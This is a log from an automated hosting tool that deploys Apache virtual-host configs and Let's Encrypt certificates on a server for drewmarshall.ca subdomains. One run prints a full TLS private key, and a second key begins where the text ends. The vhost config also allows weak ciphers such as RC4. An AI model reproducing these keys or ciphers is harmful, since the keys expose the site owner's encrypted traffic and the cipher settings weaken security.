DocumentRoot /var/www/drewmarshall_dgm
<Directory /var/www/drewmarshall_dgm>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/dgm_access.log combined
ErrorLog /var/log/apache2/drewmarshall/dgm_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgm.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
DocumentRoot /var/www/drewmarshall_dgm
<Directory /var/www/drewmarshall_dgm>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/dgm_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/dgm_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-03 06:03:49:
PUT: /tmp/pkp223990
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_dgm_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName dgm.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_dgm
<Directory /var/www/drewmarshall_dgm>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/dgm_access.log combined
ErrorLog /var/log/apache2/drewmarshall/dgm_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgm.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
DocumentRoot /var/www/drewmarshall_dgm
<Directory /var/www/drewmarshall_dgm>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/dgm_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/dgm_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf= 1'
fi
2025-11-03 06:03:50:
chmod 755 /tmp/pkp223990; /tmp/pkp223990; rm /tmp/pkp223990
2025-11-03 06:03:50:
2025-11-03 06:03:50:
PUT: /tmp/pkp703251
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-03 06:03:50:
chmod 755 /tmp/pkp703251; /tmp/pkp703251; rm /tmp/pkp703251
2025-11-03 06:03:50:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-03 06:03:50: Establishing a connection
2025-11-03 06:03:50:
PUT: /tmp/pkp753955
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-03 06:03:50:
chmod 755 /tmp/pkp753955; /tmp/pkp753955; rm /tmp/pkp753955
2025-11-03 06:03:50:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-03 06:03:50:
PUT: /tmp/pkp909850
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-03 06:03:50:
chmod 755 /tmp/pkp909850; /tmp/pkp909850; rm /tmp/pkp909850
2025-11-03 06:03:50:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf 1339
<VirtualHost *:80>
ServerName dgm.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_dgm
<Directory /var/www/drewmarshall_dgm>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/dgm_access.log combined
ErrorLog /var/log/apache2/drewmarshall/dgm_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgm.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
DocumentRoot /var/www/drewmarshall_dgm
<Directory /var/www/drewmarshall_dgm>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/dgm_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/dgm_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-03 06:03:50:
PUT: /tmp/pkp836664
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-03 06:03:50:
chmod 755 /tmp/pkp836664; /tmp/pkp836664; rm /tmp/pkp836664
2025-11-03 06:03:50:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt 5357
31:01:4f:e1:72:28:f4:d7:ac:e3:56:ee:7e:83:11:1e
-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBqoZ5j5E4mMEya9KuXiQiTYTMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwNTE5WhcNMjYwMjAxMDUwNTE4WjAeMRwwGgYDVQQD
ExNkZ20uZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAsQt0gdZ/MzzXFkcUBwNZu320i66+AYe73lwizrxYloqMSC/2NutP+2ed
gf4OfUNVi7JSAkOEWJaBhFDB/1a4JxVJ05f099as2+BTXHnu56Qp7beeR0f0Qg6Q
NFXrasaln3baGrW17ueDNPNFVN9iqwHvuBstTQG0yqNnJy5xFwSGfshWKTTuCPOw
/ACSFWOss0ds5DI1Tem5mmE039f1psmzECNvKB3m6oDBtN7RcL9/J6q705QGoUbr
bxy46BKdPZF8/tghjDlwFPBwCynrLQKor9ia512nIk4Y+sLE0l4UlDIX/2bI1RGR
DydoF+KQkUItaJ42Fc9lpTlEK6asmQIDAQABo4ICIjCCAh4wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRWqsK/eSKArgvzMdQueIKlTbLBhjAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE2RnbS5kcmV3bWFyc2hh
bGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy8yMC5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHx
AO8AdgAZhtTHKKpv/roDb3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZpIUIoMAAAE
AwBHMEUCIA1lUG0Wt+WnfFJRZoYxGQiStRFcRfVlSyims4WCrt5gAiEA3ubbzHqp
odigDtazNnmfsa9eYMoJKssbZ69wthX6xfkAdQDLOPcViXyEoURfW8Hd+8lu8ppZ
zUcKaQWFsMsUwxRY5wAAAZpIUIowAAAEAwBGMEQCIEfMa+dOASaRFSgCe5GImRCt
SiFULMpHgHyoX/a+3LsgAiAufl96wZ/3rwE9i7vDbU3elDbvbQU6N5A7zgf5i470
rDANBgkqhkiG9w0BAQsFAAOCAQEAjzpUjZgoMDpr9H0KElPoodOJ/nyXVbFkf4ag
A32l7YU2TyHgcIsXFI4qPC0x2i3v7D4CfNwQKjVJ5Zf9cxMXGLgb/8cefMT8z51i
PCxAGKNB8ZV3Qht8UYWnkix3Rqgj56I53w5n2gVAIxUmM1FnVtgzNZEkeAJoxyQX
I7t81uCOLkbiYlk1fMn7tdvgDr5owdQjFUQUEZh66xADO8MZs0tZyknuh/h4JWCc
fFs4liPR35j5zDZi3m2tgNsdKwhAx06p16KYI9iNhljKbCfce01uL7UtEhhEHChU
OLMh2aDS5QywY3UZkr/yn2QW64WA9w0cwQE7LMRPLf7B5EkpVg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCxC3SB1n8zPNcW
RxQHA1m7fbSLrr4Bh7veXCLOvFiWioxIL/Y260/7Z52B/g59Q1WLslICQ4RYloGE
UMH/VrgnFUnTl/T31qzb4FNcee7npCntt55HR/RCDpA0VetqxqWfdtoatbXu54M0
80VU32KrAe+4Gy1NAbTKo2cnLnEXBIZ+yFYpNO4I87D8AJIVY6yzR2zkMjVN6bma
YTTf1/WmybMQI28oHebqgMG03tFwv38nqrvTlAahRutvHLjoEp09kXz+2CGMOXAU
8HALKestAqiv2JrnXaciThj6wsTSXhSUMhf/ZsjVEZEPJ2gX4pCRQi1onjYVz2Wl
OUQrpqyZAgMBAAECggEAa0kHxw5WcpQxutxDtKRBIi7g06yGk6LPI8YtiZ31CPTY
YX4+87TQ+QYnGnj8Cshc9JSQwbJsZsp9ndLaXIMOgRCTdlelKPK8OVnM6kMxlMmU
ZutYTNW7nLP6itxuFnxeLS32qSzoHOfKSLIKl43u2rYHsEc3wmyARDOU9NddzJX8
H01kLbm3ty5usVw2721xwiT/T8EWy0VRApUF4aQzd+mW4oWbCA7J4yk9EcEMPcPJ
PoWUnIq173OW8QXS1QjRXdtS9/TlMIYTWV5NiCdcqgU0IWgQtxUji2uT0fkjYRJI
xlIFwjwptwIp+TTnQEo8QLkgOdOk2jHNhekSIu0r6QKBgQDrZ10ROB3i7pzjkeYr
gF0Sgf2EVK7soONEXOeoZn8r9S0H+wXioN47/kPSaVpxWfe5zrd8/yqDPnT8otdB
ovEajJfGkK8IsObaeR9OhzcpdeZjz6t20AyPcB1LW3X3scB60F+g0aaFsrH9LDrI
DQ4VPcVG14snOwe+9EbfBVzmdwKBgQDAiPNgGS9zra7OI0SEfooU/kGvzevZTEtk
AQKg1uEJxGbnG5WKEW2g7oM/SNj/6HiyV6fYO6Tq1PHWolC1dNWPYsEPHsjFsWo0
JboPnj4X4/0sETQ7G+7gOvTfU3zhYTHZSy9T0FW1bcSBFK62xsM6f4F78TZW7EU1
u1WJIbP5bwKBgEqFh13rIPL1TO9yAaal1VEFm8cns9SvPiMnMiMKh5nX3PCY1A0h
lhjx7nCO75XQwG6u9UF52fCAdjKALprVxXP9LBMtPGwI7JwfGf0XKyxR6aSRWpub
U06ZVHzFsHvAZsm6a3uSwx+yKUyXkug/0cSBsJEzrRa3RkV6OXFi1j0TAoGBALqu
z5R5Nxpp6Jm1doUlkMuEMLq+5pUeteb0V9EOKMtopQInK9rgxTSKr7XX85hGl2kN
NxCh3GlaKlebsLgQ3dWWwmzfw3p0aO7BOeRU4g4WIO/uin9ZuUevwqkb8XUy4bu4
e94/nis5kJQ8Mp/En52D7k/39WFY3E6aIvjBNhl/AoGBAJUnNz/FBWjn7WUpNSCz
jBfkPg6uPsAEzDzpJGUm1dY3Y2hPqtXntewqHjk1jdW4B3ErfultL/lb7rv8/eEq
L85qjVtZYvD3ME2JGkomNFpeGYCPs9epN71yDFHrhZ+muD4W3NATdeuPQ0pljRh9
yr4HNg7iPNyOJonT9faehFV6
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-11-03 06:03:50: Establishing a connection
2025-11-03 06:03:51: Establishing a connection
2025-11-03 06:03:52:
PUT: /tmp/pkp974876
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-03 06:03:53:
chmod 755 /tmp/pkp974876; /tmp/pkp974876; rm /tmp/pkp974876
2025-11-03 06:03:53:
0
2025-11-03 06:03:54: Establishing a remote connection
2025-11-04 06:00:02: Establishing a connection
2025-11-04 06:00:04: Establishing a connection
2025-11-04 06:00:05:
PUT: /tmp/pkp844004
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-04 06:00:06:
chmod 755 /tmp/pkp844004; /tmp/pkp844004; rm /tmp/pkp844004
2025-11-04 06:00:06:
0
2025-11-04 06:00:06: Establishing a remote connection
2025-11-05 06:00:03: Establishing a connection
2025-11-05 06:00:03: Establishing a connection
2025-11-05 06:00:04:
PUT: /tmp/pkp867522
#!/bin/bash
if [ -d "/var/www/drewmarshall_caminoconfessions/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-05 06:00:05:
chmod 755 /tmp/pkp867522; /tmp/pkp867522; rm /tmp/pkp867522
2025-11-05 06:00:05:
1
2025-11-05 06:00:06: Establishing a connection
2025-11-05 06:00:06:
PUT: /tmp/pkp887498
#!/bin/bash
mkdir -p "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cat > PgKioFAOX649WboUeu7hR3KPyj6KEbT5YJMf-1-SuZk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
PgKioFAOX649WboUeu7hR3KPyj6KEbT5YJMf-1-SuZk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 PgKioFAOX649WboUeu7hR3KPyj6KEbT5YJMf-1-SuZk
2025-11-05 06:00:06:
chmod 755 /tmp/pkp887498; /tmp/pkp887498; rm /tmp/pkp887498
2025-11-05 06:00:06:
2025-11-05 06:00:11: Establishing a connection
2025-11-05 06:00:12:
PUT: /tmp/pkp547100
#!/bin/bash
mkdir -p "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
rm PgKioFAOX649WboUeu7hR3KPyj6KEbT5YJMf-1-SuZk
2025-11-05 06:00:12:
chmod 755 /tmp/pkp547100; /tmp/pkp547100; rm /tmp/pkp547100
2025-11-05 06:00:12:
2025-11-05 06:00:12: Establishing a connection
2025-11-05 06:00:12:
PUT: /tmp/pkp737830
#!/bin/bash
temp_file=$(mktemp)
TARGET=0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
cat > $temp_file <<'endmsg'
4c:cc:26:f9:52:0e:f4:13:0a:9e:9a:93:2d:d9:6d:31
-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBuNI4X3u1pb3zliSolNIhts1MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTA1MDUwMTQxWhcNMjYwMjAzMDUwMTQwWjAsMSowKAYDVQQD
EyFjYW1pbm9jb25mZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQC3rLNmdhYmgLUVqBURpwxA39WuPO9mNFxY+NqZ
bn3ARr99zm0/OD/xTEm72D5ly81JUpXyFRHNAxgr4qD7ovp4HW5UEz0l9RfJxWVV
06Pxn9gaeiN3qWEdXWbfr4WYjm7z7gSTmzPEg+wZwbFUG6z1ua6i8zkDsh2CWPt2
1aabl92VHF1wj6U40xrCQGNoSo/UrPPtw2PYjKgWsjMxeUfk5sF/5gVXkpeHo7rP
La8sPREqLrGBMbHGOdKwE5VCFmw+neoCGF7lsQ5Qn+5JukLMy+ukoWVthKA9L7GV
/bDE6UEWMp1zyQA3p5K8pf9j8w8txS5frm1Bd4aA/XbpOyijAgMBAAGjggIxMIIC
LTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMC
MAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFDvkpZBHgpsUrrcL/cbn+9pm69quMB8G
A1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAj
BggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wLAYDVR0RBCUwI4Ih
Y2FtaW5vY29uZmVzc2lvbnMuZHJld21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
NTQuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2Sm
uFuvCoeAGdFVUvvp6ynd+MMAAAGaUpnwYgAABAMARzBFAiApKDXsTSvNbVZ7bjDH
BXg2a3Oi2enOaIad9uNtbnYwGwIhAPxSUqkEG0yarx3TU8Ny5kwCOH8WBh8j15OC
oL4NMiQjAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGaUpnw
awAABAMARzBFAiBvCM6vUJdDjuILGI4NUC3hiC2iAHvb2Vy+dKM8Pp4yQwIhAPU8
jII8fKYwfk75TTd8YBqNULXuhPICkYGQkIXKJ5HbMA0GCSqGSIb3DQEBCwUAA4IB
AQBUZz+Te4ccg001b+Cr7JzlcltRObktxkhPuHAd1Kp9BmV2Dl00DhV9UY6qDiyK
a4fIWSHlKY0JcH03HzNWQUDuo3PyWYsu+n4B8ry44ha1JXnGFQH6JNcWQ+44HWPN
BCKQNDe3lFfQEO+QXqvsA7JuGLRlQtBfy/vWZFwonTtzs1Rr+YEy5McKTv/xkwBB
CdpRwwH2q5RtsfLpvAjRWFsTrsO7pDXS0EbCqWo3K8N60V3pZQWtMVR9rwTVa6pN
SCI53aVEUwWfaJHwUsooA1N2aFO64Qa71Nqy0DjaiNVrunsYB347d13ZCn0i5fh2
VfTiQZERXrcHE1ABAtlKP09h
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC3rLNmdhYmgLUV
